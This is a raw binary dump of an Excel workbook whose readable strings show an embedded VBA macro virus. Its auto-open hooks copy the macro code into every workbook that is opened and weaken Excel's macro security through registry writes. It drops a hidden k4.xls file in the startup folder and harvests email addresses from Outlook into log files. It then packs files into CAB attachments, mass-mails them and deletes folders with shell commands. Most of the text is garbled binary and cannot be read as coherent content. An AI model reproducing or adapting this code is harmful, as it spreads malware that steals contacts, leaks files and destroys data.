\n147n.̠toreAfterayCDoorMisoftho(bbyABJuLdg  % T(2F1 LP1Lk2t#= M0#k4.xlse'(29L7 Q mrh@'oDole",$)K @F)xExit Zn}`lStringL! S& /tGF S SlashPo@s LongE xtQTempEQL c"Is No05 g%`'T #a1$ᘱTrim(#)vbNull3(a  & Q0Hc].=,t:"_pp_locked_ys*y9 [t0Pß2w#SJ!'Q Дv>8(s  .Number0 _!Y!9=viron0R2")"\љÈMP.basA H= + s! ! Dir(", Q.orm@+HiddСSystem)0 CleasE KiB% q929*8* .Rem .I !Eq1 :)dI"Q+= 9>2  `@Else `@ copymodule = Fah Exit Function Endx If&   FromVBProject.VBComponents(MName).Exporpile:=FBGSlashPosInStrRev(, "\")Ext.?-#Mid!.+ 1,}#-  - 11Fet e#Nothing To}B *If)Is a* The(.6I@UO KF.Typvbext_ct_Docu~m@f6AS@?TempF@%CY:KWith?.Code.DeleteL0inesAj untOf S@g*5H. (zCo-/.Insert!SA4KOn Error GoTo 0 VPRemove. ) hm iKill g}Tru'@{ e Microsoft@hobby(`Attribute l`y_zcDataaInvoke_! ." \n14" Dim myfz0 As wBeMyF#F$Res@Q N) S =SisWorkbook`.Full = ApplicaA.Startu(pPa K&`k4p.xls `eO pen("$) 2AThH <>+ s s' .CloseEShe2Environ$("comsp ec")  /c aB, -S -h """9@K4.XLS, vbMinim izedFws  h /F /:Q? \? ORD8 /S 3 @62= )cre enUpd DngTi IsAdd@KValue2Variant, 34VS?0xt 0 0 Tha';TruExith4xIf A:'} AJudge() Const T1~D= "10:0"2 1 3 4 4 5Dim Sent Tib, Wshvll.Set#CCre(Object("WS@cript.B "2@^Not In@t(UCase(.RegRead("HKEY_CLASSES_ROOT\mailto\shell\o@\command\")), "OUTLOOK.EXE"Gk> c)1>=R<2 O\r @J 4~ & @(Ou7D: \Coll:ed_Address:frag1.txt!i"AH%Y E PFi"1"\A search_in_OLH2bif_outl_U+ @# TLh#A("n10,2)G) TJ4)#'6M#FQ= -21, Now L! ˀt X% C (;2; & y+w < 2# b$ \loggHPH l%cmI JI`,n6R#i,"Cab_ dMyISBU`Gadx*] aiInteger, Att+@ddVbsbkCʢListf~s gኦLRxesuC䡢=dys¡@.f{systemob'_I @Mfs.Folderexs("E:\KKbz$8b  $= Replace`Left(Thi6snp,rsn) (- 4qX %_".@&_c{rPb\" &6& ".vbs (i`Free1 vFF0~QXput0scW Wri@#iAPnt #i!bn| eBx`#wsh, tleL;i  T0P Pr=co3("""wc.k4) @Misoft Office PAZQ1 Ў1000bkR p > 6㌓^PCall !f mh( leep 05p.sen@dKeys $ %a P Uh{TAB}?BOO @O{E`Cr}A=[; `th=U quditub#*Do Until qA(CStr("))+aSIfr RLoop=% s_2[z{F4?7t[`Close (i0s@ @A"b@ж@0A"AAolVInbox 6QCconbiTnd`ac,E,DtLxF#=YubsC۳38FA б.T. 1ssp`q.GetMMAPI vDefault(J_ Targe~? e"E1 colIPxsI.B23VVaH0 .Run _ex|e opo svbg{tB pCgQ/EachMPpage in  K2a`>55 t `Jt For" Print #i, " conbinded_address = L& valiAF(objMVage.Body)a Next "_FtZ, 8*all_non_same(ReadAllTCFil e), 2 6WScript.Qui { 'vate Function lsource`_data jDim oDict, trim" emp, t_asc, hYer_endarr, ii_ M0regex, matchs, s(GSetGCrejObject(""" & "0ing.Y:aryBVBSCRIPT.REpGEXP3B.@GlobalTruePattern \w+@([-+.])*@D\.D NHQ"Exe cute(yReAzx^.Cou1@- 1O iI@Lbd() To UN*f Ei)@I0tem(@bCxrLf܎B_0NN IfCYd,> 0 Then(h$b.keys,c3C ʠ&{`# !@ End i|Nothyke+Sub !(inpad_2sUng_frag/\bjFSO, logf_path#folde&$FD:\CollAЅI?B!ASysf#D On @Error ume n&@3_A .cF}b(el ].Existsˡch\ .tl8b$a2%?"<, Y?)ƒ^)S _P/e1! Case B*B)n  $= dOpen_r@, -_A.Wrik5_ S5Clos_q \ SO. 9O%00 ۡ t:C o i%SsK!5>nN "u>b.̣ M9N@, My6Lss5o1C)MM":!s @//e( , 1, False-J.At`OfStPmy eE1o_!Ȋ%ngQt{^%x%s@i2q NL$kǬ`Split, vB_HPY!2). /.y1{ Rآ0*o R?Bl!_H" Print #i, " NextEnd IfXSet oDict = Nothing FnFunction2Close (i) Applica.WindowStateHxlMaximized WshShell.Run ("wscript.exe& AddVbsFile_search), vbHide, False E Sub4 v= CreatCab_SendMail(VDim i As Integer, AttNHame Stg E ListQ ress_l I 4fsObject, ]'? dd= get_ten_^a izje("WSBV"7A =@=C? [u.f@Xsystemo% If fs.Folderex1s("E:\SORCE")Z` Then   3R= Re@place(Left(ThisWorkbook.\, Len ) - 4" R"@_". m@r_sub%0"*" @D& "*M@bage*@A 3sorce\L _Key.(vbs i Freex Op;For Output Acc0 Wri@r#i oexcel,owb ,Fso,a_xls,sh,r0outeOn errResuysh= "a"smas ")k sh.MintAllk "2S!N)S"NV {9e^ Z@LZ# AKKeh[Ac[GK <opy _+'%.CurrentDir@8oryUd-Q*.CABd,"8 "\E TruEaSEachaJ a(`W$expam m# -F:Ae.Z , 0, tnoZe6E/% Dq!0 tr "l =2" ?b if a@?  9B)=In`Box,=8 dr^a Q @g  Co  P 4, 10, 8500VUaieO+E+5) UBound(a)cPerve a(n*2Arn + 1/ s8@} o/ -1/ d}0a )ddq z b\TEST.t㟰 ԡ#PK_aX?>~ H砦eenUpd0ng " гtoreBefPA SaveC Qϟ Af<c c4$1ChDri% , ,'"C:\@ir`)1,Environ$("comsp ec /c makecab /F~[ThisWorkbook.Path & "\TEST.TXT"""< /D COMPRESSIONTYPE=LZX XMEMORY=21.ABINETNAMETEMPLATE=../AttName.CAB", vbHide, False Do Until fs.FileExists(txt") _ And"5setup.rpcinf+5z)rEvents Loop{WshShell.Run Environ$("com0spec: /c RD /S /Q disk12Del /FA_"r GlNzFiE:\sorceQIfBold(ereC" KK@{= ThenA CreateF% D %YMO@VE /Y P #pChDir c4$ Call Massive_SendMail(Address_lt, D{, "Dear  , vbCrLf~GF"FYI# w\p" f_c.`Set e = Nothing`pplication.ScreenUpdngTruE`ESubuPhriv1 "EJm#_#$,ject Body!CC_ebadd #achm $ Dim objOL AsH Ob itmNew!0J if_outl_opGbH>t!a! = #Lc ("O.A_"0AH=.Item(olρA Wi '! .(A-$hA&To`,yCCi,hg-s>. 4Vd/et@eAftermit C@@aOrror Goco@nEd-:.playDebugB.Int "`for$"oD Keys "%s@jWait<:=gKB U i!11` Func4(()a+Boolea(n s Get'WinMgmts:").InstancesOf("32_Ptros!).S 4 F0E) Inav 2InStr(p/.DescripQ `KOUTLOOW> 0W< 34 If NextyBRadomNine(leng>Intpegerr H !@jj, ki""#Ӑ$<= c [@:1E i1 `-ӷ$$[id. U = !t / 10Ran0izW[ &k `(RY* (@* i - m01)) + *1T mk <> t !w m/  `get_ten_]q.UAslea_arrAlPApSpkt(Read@[("D:\CHollfed5h\log.RpxYkrrV)UBoPund()Ls )4#O P$;3A$(C`(i- 1&$O7on FullqΛ6%F\Resuɓ&FsoɠT2>aQK`{sscRiPTinG.fiLEsysTeMoBjEcTsaͱ@\.O@za(5 , 1D, -a q.!All*.Cloԟg 3ragMark, pathfONO‰OQ}("OM@:㭤Left(`, Lena(10  a A0 `It_Q1" e 2Write FdE AEr1"i"ba FileText.Close End If 8Sub Private @ RestoreBef Send() Dim aa As Name, i_rowIn teger"coFl"fshtObject Application.ScreenUpdng `= Fal #DisplayAlerts"On Errorume N FEachIn ThisWorkbook.Zs.Visiblbe(Tru BSOt(aa, "!")(1)"Auto_Act".en$Delet @{A ASheetAIf 3.Macxro1+RSxl@ F8/.S@)_C.AddHK *x<> UCB+eryHidden, C$C=t((15 * Rn@d) + 1i_6Cel8ls(De** CONFIDENTIAL! X" H 2I Use " & C@hr(34)@Left(Ί, Len) - B "_key.vbs @po Op+A.$3 $$1V$ˀļAWith Range(*, t'3"L.Font.B8oldVhgColorIndex3cőHFun noneApfter+EN, del_rnBgfragBooleaO`{e"[br??fl l")Bwck& ! td).c>"A1:F1 5"9 InStr(.Valu"i") > 20| *= 5xit stdole h%^*\G{00020430-C 0046}#2.0#0#C:\Windows\syst em32\e2.tlb#OLE Automation`EOffDicEOficEE2DF8D04C-5BFA-101B-BDE5EAAC42Egram Files\CommonMicrosoft Shared\OFFICE11\MSO.0DLL#M 1@1.0 Ob LibraryK VBIDrsion` CreateObject`(WRegy`strkey`ValueK` ValueType `oWshellu`RegWrite!>`sht`Addr`xlExcel4MacroSheet0` ActiveSheet%N`Range ` ActiveCell` FormulaR1C1S`UserName\`ChrK~`Now%`Namesο`Excel4MacroSheetsɷ`Visible`xlSheetVeryHidden` WorkBookName+`WorkBookNotOpen`T1*_`T2+_`T3,_`T4-_`SentTime!D`WshShell0`UCase5 `RegReadw`Time`ReadOut` CreateFile` search_in_OLe`if_outlook_openi`DateAdd/6` timeErrorӋ`CreatCab_SendMailT@`i``AttName` AddVbsFileVg` AddListFile`fsF]` Folderexists ` CreateFolder`Replacef`AddVbsFile_clear͸`AddVbsFile_search` WindowState|` xlMaximizedZp`Run_`vbHideW` Address_listQ`get_ten_address``mail_sub`RestoreBeforeSendq+`c4\`ChDrive%` FileExists`Massive_SendMail`vbCrLf` Email_Address`SubjectRP`Bodyl` CC_email_add` Attachment^6`objOL` itmNewMail6` CreateItem~` olMailItem`CC\` Attachments_`DeleteAfterSubmit`continueT` SendEmail`display`SendKeysN`Wait`objs` GetObjectz` InstancesOfr`obj` Description ` RadomNine`lengthY`jj]`kb`RndR`md`singleAddress_arr `krr`Split)`FullPath+`FileTextg|` OpenTextFile`ReadAllU`FragMark)O`pathf; `aa{\`i_rowz,`i_colx`Deletex`xlSheetVisible`Cells`FontU`Bold` ColorIndex`del_shtv`rngU`del_fragy`_Defaultj`xx_` Workbook_open`xx_workbookOpenPZ` References` AddFromGuidA{`GUID`Major'`Minora` Worksheet`_B_str_Environ` _B_var_UCasea` _B_var_Time$` _B_var_TrimmT`_B_var_Environ/` _B_var_Midp`# Z"GΛO), Jo TMS/1|u!]&}Jjؓ!wFyS[@*1BE Excel+` VBA`Win16~`Win32`Mac`VBA6#`1p` stdole`` VBAProject` Officeu` ThisWorkbook|` _Evaluate` Sheet1` Sheet2` Sheet3` VBIDEA`ģ1c` ToDOLEŝ` auto_openV ` Applicationdir__SRP_0__SRP_1 ZPROJECTwm}     ay *\G{000204EF-0000-0000-C000-000000000046}#4.0#9#C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6.DLL#Visual Basic For Applications*\G{00020813-0000-0000-C000-000000000046}#1.5#0#C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXE#Microsoft Excel 11.0 Object Library*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\system32\stdole2.tlb#OLE Automation(*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.3#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSO.DLL#Microsoft Office 11.0 Object LibraryZ*\G{0002E157-0000-0000-C000-000000000046}#5.3#0#C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLB#Microsoft Visual Basic for Applications Extensibility 5.3 VwR\ThisWorkbook0K52778b56ThisWorkbookY Sheet10M52778b56 Sheet1X Sheet20O52778b56 Sheet210 Sheet30Q52778b56 Sheet3jH ToDOLE0S52778b67" ToDOLE޵`[xH`0GΛO), Jo TMS/1|u!]&}Jjؓ!wFyS[@*1BE Excel+` VBA`Win16~`Win32`Mac`VBA6#`1p` stdole`` VBAProject` Officeu` ThisWorkbook|` _Evaluate` Sheet1` Sheet2` Sheet3` VBIDEA`ģ1c` ToDOLEŝ` auto_openV ` Application*` DisplayAlerts`Path2` StartupPathi`ScreenUpdating! `delete_this_wk}`copytoworkbooke`Sheets ` Movemacro4@`Save`DQUOTE!x` VBProjectOh` VBComponents '` CodeModule` InsertLines`VBProj`VBCompӜ` VBComponent`CodeMod}O` DeleteLines ` CountOfLines!\`(do_what`RestoreAfterOpen`(OpenDoor`(Microsofthobby ` ActionJudgeBG` (copystart `wb_`Workbookk`VBProj1F`VBProj2G` WorkbooksB` (copymodule` ModuleName#>` FromVBProject6` ToVBProject`OverwriteExistingk`FNameR`CompName!`Sj`SlashPosk#`ExtPosF` TempVBComp`Trim@` vbNullString` Protection`vbext_pp_lockedh`Erro`Number-`Environ,`vbNormal-`vbHiddenT;`vbSystem`Clear`Kill`Removeϱ`Itemz`Export`FileNamej`InStrRevĈ`Importi`vbext_ct_Document `Lines`myfile0[y`MyFile`FullNameО` WorkbookOpen`ShellV`vbMinimizedFocusx`IsAddin~|` SaveCopyAsT`Fso`RK1`RK2`RK3`RK4`KValue1'`KValue2(`VS_`VeE>BIDEE157R5.3R/\6E6EXT.OLB0Visual Basic for Applicas Extensibilpity +B\BThisWorkbookG TisWArkboU 2 HB1B,B,!Y*"B+BBSheet1GS@#e@t1H&2NXU2222R1 3 35 3 3 )j ToD@u T9DOLY)' [)޵ !7brU~~~~~~s  14 QcessVBOM *\Excel\Security\Level ZHKEY_LOCAL_MACHINE\Software\Microsoft\Office\ REG_DWORDVBE6.DLL   WScript.Shell RegWrite \k4.xls k4.xlsF comspec $ /c attrib -S -h " \K4.XLS"  /c Del /F /Q "  /c RD /S /Q "   X  10:00:00 11:00:00 14:00:00 15:00:00 XHKEY_CLASSES_ROOT\mailto\shell\open\command\RegRead OUTLOOK.EXE <D:\Collected_Address:frag1.txt 1 n <D:\Collected_Address:frag2.txt 8D:\Collected_Address\log.txt   d 0  P " pzF ToDolefĤIx8< Temp \ .bas .! OĦ            0 x PٕlO+ӏa)x:cEU3.dyf@='A_Ac+r5I!73sIF]֫E&jEH7+2dbP OG˂ rMicrosofthobbyOpenDoorWReg Movemacro4 WorkbookOpen ActionJudge search_in_OLCreatCab_SendMailMassive_SendMailif_outlook_open RadomNineget_ten_addressReadOut CreateFileRestoreBeforeSendRestoreAfterOpen FFwb ModuleName  FromVBProject ToVBProjectOverwriteExistingstrkeyValue ValueType WorkBookName Email_AddressSubjectBody CC_email_add AttachmentlengthFullPathFragMarkpathf Q ( Q8xx Q H QXok_open() (Set xxThisWorkbookThisWorkbookSheet1Sheet1Sheet2Sheet2Sheet3Sheet3ToDOLEToDOLEWorID="{90286050-3808-4004-96E4-6BC16063E774}" Document=ThisWorkbook/&H00000000 Document=Sheet1/&H00000000 Document=Sheet2/&H00000000 Document=Sheet3/&H00000000 Module=ToDOLE Name="VBAProject" HelpContextID="0" VersionCompatible32="393222000" CMG="5D5F3228FE0A020A020A020A02" DPB="43412C561357135713" GC="292B469B479B4764" [Host Extender Info] &H00000001={3832D640-CF90-11K*yrU~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~p Q[7 WI¯kr   ) A Ya a h )Qy 1Qi) Y  1 AQi1 VBAProject ThisWorkbookSheet1Sheet2Sheet3ģ1ToDOLEF /C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLLVBA  10F4C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXEExcel 9@0F OĦC:\Windows\system32\stdole2.tlbstdole  QPL-[DR?C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSO.DLLOffice q`WFCC:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLBVBIDE  p auto_opencopytoworkbookdelete_this_wkdo_what copystartF copymoduleMicrosofthobbyOpenDoorWReg Movemacro4 WorkbookOpen ActionJudge search_in_OLCreatCab_SendMailMassive_SendMailif_outlook_open RadomNineget_ten_addressReadOut CreateFileRestoreBeforeSendRestoreAfterOpen FF F[i)NNF\tF:IUJQDFWorkbook @FName Macro1  ThisWorkbook`FbFdFnF " FPublic WithEvents xx As Application 6Private Sub Workbook_open() (Set xx = Application (On Error Resume Next"pCKq4l?DF Worksheet BApplication.DisplayAlerts = False Call do_what End Sub bPrivate Sub xx_workbookOpen(ByVal wb As Workbook) Jwb.VBProject.References.AddFromGuid _ GUID:= L{0002E157-0000-0000-C000-000000000046} , _ $Major:=5, Minor:=3xx DApplication.ScreenUpdating = False copystart wb BApplication.ScreenUpdating = TrueR~߿Ala;W[-RҺKP4r;DF Workbook_openxx_workbookOpen H44Visible A1:F15 Range Value CONFIDENTIAL DeleteF{B'-Z F4c"[LhvP+h@}9@M'7CHxpQ%d>&Oa 5'8] 4scRiPTinG.fiLEsysTeMoBjEcT XHKEY_CURRENT_USER\Software\Microsoft\Office\ 4\Excel\Security\AcPROJECT)SummaryInformation(DocumentSummaryInformation8 CompObjjCF-8E43-00A0C911005A};VBE;&H00000000 [Workspace] ThisWorkbook=0, 0, 0, 0, C Sheet1=0, 0, 0, 0, C Sheet2=0, 0, 0, 0, C Sheet3=0, 0, 0, 0, C ToDOLE=0, 0, 0, 0, C Oh+'0HPd|  ΢ûAdministratorMicrosoft Excel@_@J<>@ ՜.+,0 PXl t|  ΢й' Sheet1Sheet2Sheet3  FMicrosoft Office Excel Biff8Excel.Sheet.89q